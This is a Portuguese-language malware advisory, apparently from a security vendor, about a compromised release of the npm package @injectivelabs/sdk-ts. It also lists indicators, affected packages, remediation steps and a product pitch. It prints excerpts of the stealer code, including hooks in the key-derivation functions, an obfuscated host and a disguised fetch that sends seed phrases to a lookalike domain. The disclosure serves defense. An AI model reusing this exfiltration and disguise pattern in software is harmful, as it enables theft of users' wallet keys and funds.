Uma versão maliciosa de @injectivelabs/sdk-ts, um pacote npm com cerca de 50.000 downloads semanais, enviou código que registra mnemônicos de carteira e chaves privadas à medida que são derivados e os envia para um endpoint controlado por um atacante. A versão maliciosa, 1.20.21, esteve ativa no npm por menos de uma hora em 8 de junho de 2026 antes que o mantenedor percebesse e publicasse uma correção limpa. Nessa janela, o atacante também republicou o mesmo 1.20.21 número de versão em outros 17 pacotes no @injectivelabs escopo, cada um fixado ao SDK envenenado, para que projetos que dependessem de qualquer um deles puxassem o ladrão de forma transitiva.
O payload é pequeno e se parece com instrumentação comum. Ele não é executado no momento da instalação e não quebra nenhum comportamento do SDK. Ele espera que o aplicativo derive uma chave durante o uso normal e, em seguida, copia silenciosamente o segredo.
Como o ladrão funciona
O código malicioso reside em dois artefatos de build, dist/cjs/accounts-Cy0p4lLW.cjs e dist/esm/accounts-jQ1GSgaW.js. Comparados com a build limpa 1.20.23, os dois arquivos são byte-idênticos, exceto por um bloco injetado e dois hooks de uma linha. O bloco é rotulado como src/utils/key-derivation-telemetry.ts e enquadrado em seu próprio comentário de documentação como métricas de uso anonimizadas para otimização do SDK. Nada nele é anonimizado.
Os dois ganchos estão localizados dentro PrivateKey.fromMnemonic e PrivateKey.fromHex, os pontos de entrada padrão que uma aplicação chama para transformar uma seed phrase ou uma chave hexadecimal bruta em uma carteira utilizável. Cada hook é acionado antes da execução da derivação real, garantindo que o segredo seja capturado em cada chamada legítima:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Os marcadores "fm" e "fh" informam ao operador o tipo de segredo que cada registro contém, mnemônico ou hexadecimal, para que possam reconstruir a carteira do lado deles. trackKeyDerivation insere um registro com timestamp em uma fila em memória e agenda um flush:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
A exfiltração é onde o atacante se esforçou para se misturar. O host de destino é armazenado como um array de códigos de caracteres e reconstruído em tempo de execução, de modo que uma busca em texto simples no bundle pelo domínio não encontra nada:
o domínio não encontra nada:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = "https://" + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
O host decodificado, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, é um subdomínio moldado para se parecer com a própria infraestrutura gRPC-web da Injective, de modo que o tráfego de exfiltração se mistura com as chamadas de rede que uma aplicação Injective real já faz. Um timer debounced de 2 segundos agrupa os registros em fila, os une com |, codifica o blob em base64 e o envia:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Os dados roubados trafegam no cabeçalho de requisição X-Request-Id em vez do corpo, e o caminho do nó envia um corpo de comprimento zero junto, de modo que, na rede, a requisição se parece com uma chamada gRPC-web normal carregando um ID de requisição. Cada caminho de falha é um catch vazio e silencioso, de modo que uma exfiltração bloqueada ou falha nunca exibe um erro à vítima. A escolha de application/grpc-web+proto como tipo de conteúdo completa o disfarce.
Como o gatilho é a derivação de chave em tempo de execução e não um script de ciclo de vida, scanners e sandboxes de tempo de instalação que monitoram apenas o postinstall veem um pacote limpo. O bloco de scripts no manifesto não possui nenhum hook de instalação.
Amplificação no escopo @injectivelabs
Apenas @injectivelabs/sdk-ts@1.20.21 contém o código do stealer. Os outros 17 pacotes que o atacante republicou na versão 1.20.21 não foram modificados em seu próprio código-fonte. Cada um foi republicado com uma dependência fixada em @injectivelabs/sdk-ts@1.20.21, a versão envenenada. Um projeto que instalou @injectivelabs/wallet-core@1.20.21, por exemplo, resolveria o SDK malicioso transitivamente e executaria o stealer sem nunca nomear sdk-ts em seu próprio manifesto. É por isso que auditar apenas suas dependências diretas não é suficiente aqui. Os nomes dos pacotes focados em carteira no escopo mapeiam diretamente para os fluxos de trabalho exatos, seed phrases e chaves privadas, que o payload foi construído para capturar.
Impacto e contenção
O comprometimento foi introduzido através de commits de uma conta GitHub com histórico estabelecido no repositório, o que aponta para uma tomada de conta (account takeover) em vez de um ataque drive-by. O malicioso 1.20.21 foi publicado às 22:59 GMT+2 em 8 de junho de 2026, o mantenedor reverteu a alteração às 23:18, e uma versão limpa foi publicada às 23:48. De acordo com as próprias estatísticas do npm, a versão maliciosa foi baixada 310 vezes antes de ser removida, um número pequeno em comparação com os 50.000 downloads semanais do projeto e 87 pacotes dependentes. A rápida resposta do mantenedor foi o que impediu que isso fosse muito pior.
A contenção não está completa. No momento do relatório de origem, a versão maliciosa havia sido descontinuada no npm com um aviso, mas não removida, de modo que permanece disponível para download, e os artefatos de lançamento para a versão comprometida ainda estavam presentes na página de releases do GitHub do projeto. Qualquer mnemônico ou chave privada que tenha passado por esses pacotes deve ser tratado como exposto. Mova os fundos, depois rotacione as chaves e seed phrases.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento
Indicadores de rede
Endpoint de exfiltração: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Arquivos maliciosos
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Pacotes afetados
@injectivelabs/sdk-ts@1.20.21 (contém o stealer)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Remediação
- Atualize qualquer
@injectivelabspacote fixado ou resolúvel para 1.20.21 para a versão limpa 1.20.23.
Última atualização em: 9 de julho de 2026

